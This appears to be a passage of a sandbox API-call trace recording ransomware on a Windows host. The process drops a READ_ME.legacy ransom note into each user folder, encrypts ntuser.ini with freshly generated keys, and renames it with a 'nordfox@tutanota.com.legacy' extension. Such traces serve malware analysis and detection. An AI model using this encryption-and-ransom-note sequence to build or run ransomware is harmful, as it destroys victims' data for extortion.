0x590 [0109.637] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.638] CloseHandle (hObject=0x590) returned 1 [0109.638] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NetHood", cAlternateFileName="")) returned 1 [0109.638] SetLastError (dwErrCode=0xb7) [0109.638] GetLastError () returned 0xb7 [0109.638] SetLastError (dwErrCode=0xb7) [0109.638] GetLastError () returned 0xb7 [0109.638] SetLastError (dwErrCode=0xb7) [0109.639] SetLastError (dwErrCode=0xb7) [0109.639] GetLastError () returned 0xb7 [0109.639] SetLastError (dwErrCode=0xb7) [0109.639] SetLastError (dwErrCode=0xb7) [0109.639] CreateFileW (lpFileName="\\Users\\FD1HVy\\NetHood\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\nethood\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.640] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.641] CloseHandle (hObject=0x590) returned 1 [0109.641] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa9c141bf, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xa9c141bf, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x2c0000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0109.641] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] SetLastError (dwErrCode=0x0) [0109.642] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] SetLastError (dwErrCode=0x0) [0109.642] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] SetLastError (dwErrCode=0x0) [0109.643] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xc1adea7d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc1adea7d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc1adea7d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] SetLastError (dwErrCode=0x0) [0109.643] CreateFileW (lpFileName="\\Users\\FD1HVy\\OneDrive\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\onedrive\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.644] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.645] CloseHandle (hObject=0x590) returned 1 [0109.645] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9466b7b7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9466b7b7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Pictures", cAlternateFileName="")) returned 1 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] SetLastError (dwErrCode=0x0) [0109.645] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.646] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.647] CloseHandle (hObject=0x590) returned 1 [0109.648] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] CreateFileW (lpFileName="\\Users\\FD1HVy\\PrintHood\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\printhood\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.648] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.650] CloseHandle (hObject=0x590) returned 1 [0109.650] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6811a58, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc6811a58, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc6811a58, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.650] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Recent", cAlternateFileName="")) returned 1 [0109.650] CreateFileW (lpFileName="\\Users\\FD1HVy\\Recent\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\recent\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.650] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.652] CloseHandle (hObject=0x590) returned 1 [0109.652] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0109.652] CreateFileW (lpFileName="\\Users\\FD1HVy\\Saved Games\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\saved games\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.652] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.654] CloseHandle (hObject=0x590) returned 1 [0109.654] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Searches", cAlternateFileName="")) returned 1 [0109.654] CreateFileW (lpFileName="\\Users\\FD1HVy\\Searches\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\searches\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.655] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.656] CloseHandle (hObject=0x590) returned 1 [0109.656] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SendTo", cAlternateFileName="")) returned 1 [0109.656] CreateFileW (lpFileName="\\Users\\FD1HVy\\SendTo\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\sendto\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.666] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.667] CloseHandle (hObject=0x590) returned 1 [0109.667] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0109.667] CreateFileW (lpFileName="\\Users\\FD1HVy\\Start Menu\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\start menu\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.668] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.669] CloseHandle (hObject=0x590) returned 1 [0109.669] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0109.669] CreateFileW (lpFileName="\\Users\\FD1HVy\\Templates\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\templates\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.669] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.670] CloseHandle (hObject=0x590) returned 1 [0109.670] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9461f3b2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9461f3b2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Videos", cAlternateFileName="")) returned 1 [0109.670] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.672] WriteFile (in: hFile=0x590, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.673] CloseHandle (hObject=0x590) returned 1 [0109.673] FindNextFileW (in: hFindFile=0x5c5e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9461f3b2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9461f3b2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Videos", cAlternateFileName="")) returned 0 [0109.673] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4e78 | out: pbBuffer=0x5c4e78) returned 1 [0109.673] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3528 | out: pbBuffer=0x5c3528) returned 1 [0109.673] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\ntuser.ini", dwFileAttributes=0x80) returned 1 [0109.673] CreateFileW (lpFileName="\\Users\\FD1HVy\\ntuser.ini" (normalized: "c:\\users\\fd1hvy\\ntuser.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0109.674] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=20) returned 1 [0109.674] ReadFile (in: hFile=0x590, lpBuffer=0x583a30, nNumberOfBytesToRead=0x14, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583a30*, lpNumberOfBytesRead=0x2e1f9bc*=0x14, lpOverlapped=0x0) returned 1 [0109.675] SetFilePointer (in: hFile=0x590, lDistanceToMove=-20, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.675] WriteFile (in: hFile=0x590, lpBuffer=0x5839f0*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5839f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14, lpOverlapped=0x0) returned 1 [0109.675] SetFilePointer (in: hFile=0x590, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14 [0109.675] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0109.675] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4e78*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4e78*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0109.676] WriteFile (in: hFile=0x590, lpBuffer=0x5c4e78*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4e78*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0109.676] WriteFile (in: hFile=0x590, lpBuffer=0x5c3528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3528*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0109.676] CloseHandle (hObject=0x590) returned 1 [0109.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4e78 | out: hHeap=0x520000) returned 1 [0109.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3528 | out: hHeap=0x520000) returned 1 [0109.676] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\ntuser.ini" (normalized: "c:\\users\\fd1hvy\\ntuser.ini"), lpNewFileName="\\Users\\FD1HVy\\ntuser.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\ntuser.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0110.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555868 | out: hHeap=0x520000) returned 1 [0110.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0110.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0110.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563108 [0110.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4c68 [0110.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3588 [0110.408] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4c68 | out: pbBuffer=0x5c4c68) returned 1 [0110.408] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3588 | out: pbBuffer=0x5c3588) returned 1 [0110.408] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x80) returned 1 [0110.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563358 [0110.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x563720 [0110.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0110.409] CreateFileW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.409] 